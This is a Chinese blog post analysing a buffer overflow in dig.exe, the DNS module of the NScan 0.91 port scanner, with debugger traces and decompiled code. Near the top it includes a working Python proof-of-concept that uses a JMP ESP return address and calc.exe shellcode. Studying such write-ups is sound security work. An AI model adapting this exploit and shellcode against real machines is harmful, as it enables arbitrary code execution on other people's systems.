NScan 0.91 本地代码执行漏洞

作者:k0shl 转载请注明出处:https://whereisk0shl.top

9月1日,好久没更博了,最近事情很多也比较忙,更新不是很稳定请见谅,我之前的一些分析报告还有不到二十篇就发布完了,希望能对看到的小伙伴起到一定的帮助,之前收到一些邮件问到我的报告中的一些问题,这些报告是我在2015-2016年期间积累的,时间比较远了,如果有问题的话欢迎交流,我会及时改正。

在我的所有报告更新完之后,我的博客就无法保持定时更新了,但我会尽量保持文章产出,和大家一起分析一些新的漏洞,再次感谢大家对博客的支持!谢谢!


漏洞说明


NScan是一款端口扫描器,其中包含了许多功能,dig.exe是NSan的一个子模块,命名为dnslookup,负责dns扫描,dig.exe在扫描时会读取服务器地址,此时由于对读取的地址没有进行限制,导致传入畸形字符串的时候,会引发缓冲区溢出漏洞,从而导致任意代码执行。

软件下载:
https://www.exploit-db.com/apps/b235ebf93610e43c8b2246ea39d71ba7-nscan091.exe

PoC:

import struct


rp=struct.pack("<L", 0x75658BD5)  #JMP ESP kernel32

# Modified 'calc.exe' shellcode Windows 7 SP1 for this exploit
sc=("\x31\xF6\x56\x64\x8B\x76\x30\x8B\x76\x0C\x8B\x76\x1C\x8B"
"\x6E\x08\x8B\x36\x8B\x5D\x3C\x8B\x5C\x1D\x78\x01\xEB\x8B"
"\x4B\x18\x8B\x7B\x20\x01\xEF\x8B\x7C\x8F\xFC\x01\xEF\x31"
"\xC0\x99\x32\x17\x66\xC1\xCA\x01\xAE\x75\xF7\x66\x81\xFA"
"\x10\xF5\xE0\xE2\x75\xCF\x8B\x53\x24\x01\xEA\x0F\xB7\x14"
"\x4A\x8B\x7B\x1C\x01\xEF\x03\x2C\x97\x68\x2E\x2E\x65\x78\x65"  #<=== \x2E\x2E (Deal with "." character problem)
"\x68\x63\x61\x6C\x63\x54\x87\x04\x24\x50\xFF\xD5\xCC")


payload="A"*997+rp+"\x90"*10+sc

file=open("NECRO", "w")
file.write(payload)
file.close()

print '=== Exploit payload created! ==='
print '=== HYP3RLINX | APPARITIONsec ==='

漏洞复现


首先附加dig.exe,传入超长字符串,导致程序崩溃,windbg命中崩溃位置。

0:001> g
(9d4.8b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000740 ecx=41414141 edx=0042ac08 esi=00946930 edi=0012f79c
eip=41414141 esp=010cff18 ebp=010cff80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010216
41414141 ??              ???

通过kb回溯堆栈调用

0:002> kb
ChildEBP RetAddr  Args to Child              
WARNING: Frame IP not in any known module. Following frames may be wrong.
010cff14 41414141 41414141 41414141 41414141 0x41414141
*** WARNING: Unable to verify checksum for C:\Program Files\Necrosoft\NScan\dig.exe
*** ERROR: Module load completed but symbols could not be loaded for C:\Program Files\Necrosoft\NScan\dig.exe
010cff80 00407cde 0012f79c 0014e700 0012f49c 0x41414141
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\WINDOWS\system32\kernel32.dll - 
010cffb4 7c80b713 009469a8 0014e700 0012f49c dig+0x7cde
010cffec 00000000 00407c7f 009469a8 00000000 kernel32!GetModuleFileNameA+0x1b4

很清晰可以看到之前的堆栈调用情况,就从00407cde位置入手开始分析。


漏洞分析


跟踪到00407cde位置,可以看到一个代码块。

.text:00407CD4 loc_407CD4:                             ; CODE XREF: _threadstartex(x)+51j
.text:00407CD4                 and     [ebp+ms_exc.registration.TryLevel], 0
.text:00407CD8                 push    dword ptr [esi+4Ch]
.text:00407CDB                 call    dword ptr [esi+48h]
.text:00407CDE                 push    eax             ; dwExitCode
.text:00407CDF                 call    __endthreadex
.text:00407CDF __threadstartex@4 endp

可以看到,这个loc块属于threadstart,应该是一个线程的模块中,在00407cdb位置下断点,可以看到这里涉及到一个函数调用,直接动态跟踪。

0:002> p
eax=00402940 ebx=00000764 ecx=010cff08 edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=00418067 esp=010cff20 ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x18067:
00418067 ff764c          push    dword ptr [esi+4Ch]  ds:0023:009469d4=0012fb5c
0:002> p
eax=00402940 ebx=00000764 ecx=010cff08 edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=0041806a esp=010cff1c ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x1806a:
0041806a ffd0            call    eax {dig+0x2940 (00402940)}
0:002> t
eax=00402940 ebx=00000750 ecx=010cff08 edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=00402940 esp=010cff18 ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x2940:
00402940 8b4c2404        mov     ecx,dword ptr [esp+4] ss:0023:010cff1c=0012fb5c
0:002> p
eax=00402940 ebx=00000750 ecx=0012fb5c edx=7c92e4f4 esi=00946988 edi=0012f79c
eip=00402944 esp=010cff18 ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x2944:
00402944 e8770e0000      call    dig+0x37c0 (004037c0)

这里会调用到004037c0函数,直接进入跟踪。这个函数主要是处理和dns服务器连接的部分,代码段很长,在跟踪的过程中,注意到一处函数调用。

.text:004037E6                 mov     [esp+42Ch+var_414], eax
.text:004037EA ; 46:   v42 = 0;
.text:004037EA                 mov     [esp+42Ch+var_4], 0
.text:004037F5 ; 47:   v35 = (int)off_425CB4;
.text:004037F5                 mov     [esp+42Ch+var_418], eax
.text:004037F9 ; 48:   v37 = (int)off_425CB4;
.text:004037F9                 mov     [esp+42Ch+var_410], eax
.text:004037FD ; 50:   v3 = *(const char **)(this + 908);
.text:004037FD                 mov     eax, [esi+38Ch]
.text:00403803 ; 49:   v2 = this + 908;
.text:00403803                 lea     ebx, [esi+38Ch]
.text:00403809                 push    eax             ; cp
.text:0040380A ; 51:   LOBYTE(v42) = 2;
.text:0040380A                 mov     byte ptr [esp+430h+var_4], 2
.text:00403812 ; 52:   v4 = inet_addr(v3);
.text:00403812                 call    inet_addr

在00403812地址位置会调用inet_addr,这是一个socket中常用的IP地址的转换函数。动态跟踪到这个地址位置。

0:002> p
eax=0094f854 ebx=0012fee8 ecx=0012fb5c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403809 esp=010cfae8 ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x3809:
00403809 50              push    eax
0:002> p
eax=0094f854 ebx=0012fee8 ecx=0012fb5c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040380a esp=010cfae4 ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x380a:
0040380a c684242c04000002 mov     byte ptr [esp+42Ch],2     ss:0023:010cff10=00
0:002> p
eax=0094f854 ebx=0012fee8 ecx=0012fb5c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403812 esp=010cfae4 ebp=010cff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x3812:
00403812 e8ddbb0000      call    dig+0xf3f4 (0040f3f4)


0:002> dd 0094f89c
0094f89c  41414141 41414141 41414141 41414141
0094f8ac  41414141 41414141 41414141 41414141
0094f8bc  41414141 41414141 41414141 41414141
0094f8cc  41414141 41414141 41414141 41414141
0094f8dc  41414141 41414141 41414141 41414141
0094f8ec  41414141 41414141 41414141 41414141
0094f8fc  41414141 41414141 41414141 41414141
0094f90c  41414141 41414141 41414141 41414141

在这个函数调用的时候,会将当前IP地址转换,这个过程之前并没有对这个server地址进行判断,而是直接转换了。

0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403817 esp=010cfae8 ebp=010cff80 iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
dig+0x3817:
00403817 83f8ff          cmp     eax,0FFFFFFFFh
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040381a esp=010cfae8 ebp=010cff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
dig+0x381a:
0040381a 750c            jne     dig+0x3828 (00403828)                   [br=0]
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040381c esp=010cfae8 ebp=010cff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
dig+0x381c:
0040381c 53              push    ebx
0:002> p
eax=ffffffff ebx=0012fee8 ecx=71a22f3c edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=0040381d esp=010cfae4 ebp=010cff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
dig+0x381d:
0040381d 8d4c2420        lea     ecx,[esp+20h]
0:002> p
eax=ffffffff ebx=0012fee8 ecx=010cfb04 edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403821 esp=010cfae4 ebp=010cff80 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
dig+0x3821:
00403821 e83e420100      call    dig+0x17a64 (00417a64)
0:002> p
eax=010cfb04 ebx=0012fee8 ecx=0094f848 edx=7c92e4f4 esi=0012fb5c edi=0012f79c
eip=00403826 esp=010cfae8 ebp=010cff80 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
dig+0x3826:
00403826 eb3c            jmp     dig+0x3864 (00403864)


0:002> dc ecx
0094f890  00000003 000003fc 000003fc 41414141  ............AAAA
0094f8a0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0094f8b0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0094f8c0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0094f8d0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0094f8e0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA
0094f8f0  41414141 41414141 41414141 41414141  AAAAAAAAAAAAAAAA

可以看到,在畸形字符串之前的000003fc是字符串长度1020,正好是payload长度,可见这个过程会将IP地址转换之后直接赋值,而没有进行任何处理,接着动态跟踪。

.text:00403864 loc_403864:                             ; CODE XREF: sub_4037C0+66j
.text:00403864                 push    0
.text:00403866                 lea     ecx, [esp+430h+var_410]
.text:0040386A                 call    sub_417D05
.text:0040386F ; 58:   sub_403690((_DWORD *)v1, (int)buf, v5);
.text:0040386F                 push    eax
.text:00403870                 lea     eax, [esp+430h+buf]
.text:00403874                 push    eax
.text:00403875                 mov     ecx, esi
.text:00403877                 call    sub_403690

在loc_403864块中地址00403877位置涉及到一处call调用,这个call调用一共有三个参数,其中第二个参数是一个buf参数,跟踪到这个位置。

0:002> p
eax=010bfb20 ebx=0012fee8 ecx=0094f890 edx=00000001 esi=0012fb5c edi=0012f79c
eip=00403874 esp=010bfae4 ebp=010bff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x3874:
00403874 50              push    eax
0:002> p
eax=010bfb20 ebx=0012fee8 ecx=0094f890 edx=00000001 esi=0012fb5c edi=0012f79c
eip=00403875 esp=010bfae0 ebp=010bff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x3875:
00403875 8bce            mov     ecx,esi
0:002> p
eax=010bfb20 ebx=0012fee8 ecx=0012fb5c edx=00000001 esi=0012fb5c edi=0012f79c
eip=00403877 esp=010bfae0 ebp=010bff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x3877:
00403877 e814feffff      call    dig+0x3690 (00403690)
0:002> dd esp
010bfae0  010bfb20 0094f484 0012f79c 00946988
010bfaf0  010bff80 00000764 00000000 00425cc8
010bfb00  00425cc8 0094f484 00000000 00000000
010bfb10  00000000 00000000 00000000 00000000
010bfb20  00000000 00000000 00000000 77d1a044
010bfb30  77d712a0 00418659 00000000 00000000
010bfb40  00000000 00000000 00000000 00000000
010bfb50  00000000 00000005 00000000 00000000
0:002> dd 0094f484
0094f484  41414141 41414141 41414141 41414141
0094f494  41414141 41414141 41414141 41414141
0094f4a4  41414141 41414141 41414141 41414141
0094f4b4  41414141 41414141 41414141 41414141
0094f4c4  41414141 41414141 41414141 41414141
0094f4d4  41414141 41414141 41414141 41414141
0094f4e4  41414141 41414141 41414141 41414141
0094f4f4  41414141 41414141 41414141 41414141

可见,此时第二个参数就是畸形字符串payload,payload此时会作为参数传入,也就是说此时调用了转换过后的IP地址。call函数调用结束后。

0:002> p
eax=00000e04 ebx=0012fee8 ecx=00000e04 edx=00000400 esi=0012fb5c edi=0012f79c
eip=0040387c esp=010bfae8 ebp=010bff80 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
dig+0x387c:
0040387c 6800020000      push    200h
0:002> dd esp
010bfae8  0012f79c 00946988 010bff80 00000764
010bfaf8  00000000 00425cc8 00425cc8 0094f484
010bfb08  00000000 00000000 00000000 00000000
010bfb18  00000000 00000000 00000e04 01000001
010bfb28  00000000 41fc0000 41414141 41414141
010bfb38  41414141 41414141 41414141 41414141
010bfb48  41414141 41414141 41414141 41414141

可以看到此时栈地址被覆盖,执行到返回位置。

0:002> p
eax=00000000 ebx=0012fef4 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e2a esp=010cfaf4 ebp=010cff80 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
dig+0x3e2a:
00403e2a 5b              pop     ebx
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e2b esp=010cfaf8 ebp=010cff80 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
dig+0x3e2b:
00403e2b 64890d00000000  mov     dword ptr fs:[0],ecx fs:003b:00000000=010cff08
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e32 esp=010cfaf8 ebp=010cff80 iopl=0         nv up ei ng nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000296
dig+0x3e32:
00403e32 81c41c040000    add     esp,41Ch
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=00403e38 esp=010cff14 ebp=010cff80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
dig+0x3e38:
00403e38 c3              ret
0:002> p
eax=00000000 ebx=00000764 ecx=41414141 edx=0042ac08 esi=00946988 edi=0012f79c
eip=41414141 esp=010cff18 ebp=010cff80 iopl=0         nv up ei pl nz ac pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000216
41414141 ??              ???

此时返回地址已经被用户可控数据覆盖,返回后执行任意代码。来看一下漏洞函数的伪代码逻辑。

LONG __thiscall sub_4037C0(int this)
{
  int v1; // esi@1
  int v2; // ebx@1
  const char *v3; // ST14_4@1
  signed int v4; // eax@1
  _BYTE *v5; // eax@4
  char *v6; // ebp@4
  unsigned __int32 v7; // edi@4
  struct hostent *v8; // eax@5
  SOCKET v9; // ebx@7
  int v10; // edx@9
  int v11; // ecx@9
  const void *v12; // eax@10
  int v13; // eax@10
  int v14; // eax@11
  int *v15; // ecx@11
  const void *v16; // eax@12
  int v17; // eax@12
  int v18; // eax@13
  int v19; // eax@14
  int v20; // eax@14
  int i; // edi@14
  int v22; // eax@17
  int v23; // eax@22
  int v24; // ebx@25
  int v25; // eax@25
  u_short v26; // ST14_2@28
  const void *v27; // eax@32
  int v28; // eax@32
  int v29; // eax@33
  const void *v30; // eax@34
  int v31; // eax@34
  int v32; // eax@35
  int v34; // [sp+10h] [bp-41Ch]@10
  int v35; // [sp+14h] [bp-418h]@1
  void *v36; // [sp+18h] [bp-414h]@1
  int v37; // [sp+1Ch] [bp-410h]@1
  u_short *v38; // [sp+20h] [bp-40Ch]@14
  int v39; // [sp+24h] [bp-408h]@14
  struct sockaddr name; // [sp+28h] [bp-404h]@8
  char buf[4]; // [sp+38h] [bp-3F4h]@4
  int v42; // [sp+428h] [bp-4h]@1

  v1 = this;
  v36 = off_425CB4;
  v42 = 0;
  v35 = (int)off_425CB4;
  v37 = (int)off_425CB4;
  v2 = this + 908;
  v3 = *(const char **)(this + 908);
  LOBYTE(v42) = 2;
  v4 = inet_addr(v3);
  if ( v4 == -1 )
    sub_417A64((CString *)&v37, v2);
  else
    sub_413082((int)&v37, aD_D_D_D_inAddr, (v4 >> 24) & 0xFF);
  v5 = (_BYTE *)sub_417D05(0);
  sub_403690((_DWORD *)v1, (int)buf, v5);
  v6 = (char *)malloc(0x200u);
  v7 = inet_addr(*(const char **)(v1 + 912));
  if ( v7 != -1 )
  {
LABEL_7:
    v9 = socket(2, 1, 6);
    if ( v9 == -1 )
    {
      v30 = (const void *)WSAGetLastError();
      sub_402E20((CString *)&v36, (CString *)&v35, v30);
      CString::LoadStringA((CString *)(v1 + 100), 0x1F9u);
      v31 = sub_417B19(&v34, v1 + 100, &v36);
      LOBYTE(v42) = 9;
      sub_417A64((CString *)(v1 + 920), v31);
      LOBYTE(v42) = 2;
      sub_4179BB(&v34);
      CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
      if ( *(_DWORD *)(v1 + 924) )
      {
        v32 = sub_417B19(&v34, v1 + 100, &v35);
        LOBYTE(v42) = 10;
        CString::operator+=(v32);
        LOBYTE(v42) = 2;
        v15 = &v34;
        goto LABEL_36;
      }
    }
    else
    {
      name.sa_family = 2;
      *(_WORD *)&name.sa_data[0] = htons(0x35u);
      *(_DWORD *)&name.sa_data[2] = v7;
      if ( connect(v9, &name, 16) )
      {
        v27 = (const void *)WSAGetLastError();
        sub_402E20((CString *)&v36, (CString *)&v35, v27);
        CString::LoadStringA((CString *)(v1 + 100), 0x1F9u);
        v28 = sub_417B19(&v34, v1 + 100, &v36);
        LOBYTE(v42) = 7;
        sub_417A64((CString *)(v1 + 920), v28);
        LOBYTE(v42) = 2;
        sub_4179BB(&v34);
        CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
        if ( *(_DWORD *)(v1 + 924) )
        {
          v29 = sub_417B19(&v34, v1 + 100, &v35);
          LOBYTE(v42) = 8;
          CString::operator+=(v29);
          LOBYTE(v42) = 2;
          v15 = &v34;
          goto LABEL_36;
        }
      }
      else
      {
        v10 = (unsigned __int8)buf[1];
        v11 = (unsigned __int8)buf[0] << 8;
        *(_DWORD *)(v1 + 124) = v9;
        if ( send(v9, buf, v11 + v10 + 2, 0) )
        {
          v19 = *(_DWORD *)(v1 + 916);
          v38 = 0;
          v39 = 0;
          v34 = v19 == 17;
          v20 = recv(v9, v6, 512, 0);
          for ( i = v34; v20; v20 = recv(v9, (char *)(i + v23), 512, 0) )
          {
            if ( v20 == -1 || *(_DWORD *)(v1 + 132) )
              break;
            i = (int)v38 + v20;
            v22 = *(_DWORD *)(v1 + 916);
            v38 = (u_short *)i;
            if ( v22 == 17 && !v39 )
            {
              v34 = sub_4051F0(v6, i);
              v39 = 1;
            }
            if ( !v34 && i >= ((unsigned __int8)*v6 << 8) + (unsigned __int8)v6[1] + 2 )
              break;
            v23 = sub_406DE4(v6, i + 512);
            v6 = (char *)v23;
          }
          closesocket(v9);
          if ( i )
          {
            v24 = 0;
            CString::LoadStringA((CString *)(v1 + 920), 0x1FBu);
            sub_416676(0);
            *(_DWORD *)(v1 + 120) = 0;
            v25 = sub_4051F0(v6, i);
            if ( *(_DWORD *)(v1 + 916) == 17 && v25 )
            {
              CString::LoadStringA((CString *)(v1 + 100), 0x200u);
              CString::operator+=(v1 + 100);
              v38 = (u_short *)v6;
              do
              {
                sub_403F60(v1, v38, i - v24);
                v24 += htons(*v38) + 2;
                v26 = *(_WORD *)&v6[v24];
                v38 = (u_short *)&v6[v24];
              }
              while ( htons(v26) + v24 + 2 <= i && v24 < i );
              sub_417CC6(asc_42555C);
              CString::LoadStringA((CString *)(v1 + 100), 0x1FDu);
              sub_413082((int)&v35, *(char **)(v1 + 100), *(_DWORD *)(v1 + 120));
              CString::operator+=(&v35);
            }
            else
            {
              sub_403F60(v1, v6, i);
            }
          }
          else
          {
            CString::LoadStringA((CString *)(v1 + 100), 0x1FAu);
            sub_417A64((CString *)(v1 + 920), v1 + 100);
          }
        }
        else
        {
          v12 = (const void *)WSAGetLastError();
          sub_402E20((CString *)&v36, (CString *)&v35, v12);
          CString::LoadStringA((CString *)(v1 + 100), 0x1F9u);
          v13 = sub_417B19(&v34, v1 + 100, &v36);
          LOBYTE(v42) = 5;
          sub_417A64((CString *)(v1 + 920), v13);
          LOBYTE(v42) = 2;
          sub_4179BB(&v34);
          CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
          if ( *(_DWORD *)(v1 + 924) )
          {
            v14 = sub_417B19(&v34, v1 + 100, &v35);
            LOBYTE(v42) = 6;
            CString::operator+=(v14);
            LOBYTE(v42) = 2;
            v15 = &v34;
LABEL_36:
            sub_4179BB(v15);
            goto LABEL_37;
          }
        }
      }
    }
    goto LABEL_37;
  }
  v8 = gethostbyname(*(const char **)(v1 + 912));
  if ( v8 )
  {
    v7 = htonl((*v8->h_addr_list)[3] + (((*v8->h_addr_list)[2]
                                       + (((**v8->h_addr_list << 8) + (*v8->h_addr_list)[1]) << 8)) << 8));
    goto LABEL_7;
  }
  v16 = (const void *)WSAGetLastError();
  sub_402E20((CString *)&v36, (CString *)&v35, v16);
  CString::LoadStringA((CString *)(v1 + 100), 0x1F8u);
  v17 = sub_417B19(&v34, v1 + 100, &v36);
  LOBYTE(v42) = 3;
  sub_417A64((CString *)(v1 + 920), v17);
  LOBYTE(v42) = 2;
  sub_4179BB(&v34);
  CString::LoadStringA((CString *)(v1 + 100), 0x1F6u);
  if ( *(_DWORD *)(v1 + 924) )
  {
    v18 = sub_417B19(&v34, v1 + 100, &v35);
    LOBYTE(v42) = 4;
    CString::operator+=(v18);
    LOBYTE(v42) = 2;
    v15 = &v34;
    goto LABEL_36;
  }
LABEL_37:
  sub_416676(0);
  sub_405600(v1, 0);
  LOBYTE(v42) = 1;
  sub_4179BB(&v37);
  LOBYTE(v42) = 0;
  sub_4179BB(&v35);
  v42 = -1;
  return sub_4179BB(&v36);
}

分析一下伪代码可以看出,这个函数的主要功能就是负责和IP地址的dns服务器通信,获取dns服务器地址信息,这里会先做一次地址转换,之后会再做一次,而在这个过程之间,会由于函数调用导致栈地址被覆盖,而后续代码会对转换后的值进行判断是有效地址,否则会直接退出,而这个过程没有对IP地址是否合法进行处理,从而导致了缓冲区溢出的发生。

Comments
Write a Comment